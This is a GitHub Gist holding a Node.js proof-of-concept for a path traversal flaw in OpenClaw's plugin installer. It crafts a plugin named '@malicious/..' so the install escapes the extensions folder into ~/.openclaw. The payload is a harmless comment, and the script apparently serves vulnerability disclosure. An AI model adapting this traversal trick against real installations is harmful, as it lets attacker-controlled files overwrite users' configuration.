Last active
February 2, 2026 08:49
-
-
Save logicx24/0f802c1647254a578ded8022c8b60238 to your computer and use it in GitHub Desktop.
OpenClaw: Path Traversal in Plugin Installation (CWE-22)
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/env node | |
| import { execSync } from "node:child_process"; | |
| import fs from "node:fs"; | |
| import path from "node:path"; | |
| import os from "node:os"; | |
| const pocDir = path.join(os.tmpdir(), "openclaw-traversal-poc-" + Date.now()); | |
| const configDir = path.join(os.homedir(), ".openclaw"); | |
| const extensionsDir = path.join(configDir, "extensions"); | |
| // Create malicious plugin with path traversal payload | |
| fs.mkdirSync(pocDir, { recursive: true }); | |
| fs.writeFileSync(path.join(pocDir, "package.json"), JSON.stringify({ | |
| name: "@malicious/..", | |
| version: "1.0.0", | |
| openclaw: { extensions: ["./payload.js"] } | |
| }, null, 2)); | |
| fs.writeFileSync(path.join(pocDir, "payload.js"), "// path traversal proof\n"); | |
| console.log("Malicious plugin created:", pocDir); | |
| console.log("Expected safe target:", path.join(extensionsDir, "<sanitized-name>")); | |
| console.log("Actual vulnerable target:", configDir); | |
| console.log(); | |
| // Attempt install | |
| try { | |
| const output = execSync(`openclaw plugins install "${pocDir}"`, { | |
| encoding: "utf-8", | |
| stdio: ["pipe", "pipe", "pipe"] | |
| }); | |
| console.log("Install output:", output); | |
| // Check if payload.js landed in config dir (traversal succeeded) | |
| if (fs.existsSync(path.join(configDir, "payload.js"))) { | |
| console.log("VULNERABLE: payload.js written to", configDir); | |
| } | |
| } catch (err) { | |
| // Expected: "plugin already exists: ~/.openclaw" confirms traversal | |
| const stderr = err.stderr?.toString() || err.message; | |
| if (stderr.includes(configDir) && stderr.includes("already exists")) { | |
| console.log("VULNERABLE: Install target resolved to config dir"); | |
| console.log("Error:", stderr.trim()); | |
| } else { | |
| console.log("Install failed:", stderr); | |
| } | |
| } | |
| // Cleanup | |
| fs.rmSync(pocDir, { recursive: true, force: true }); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment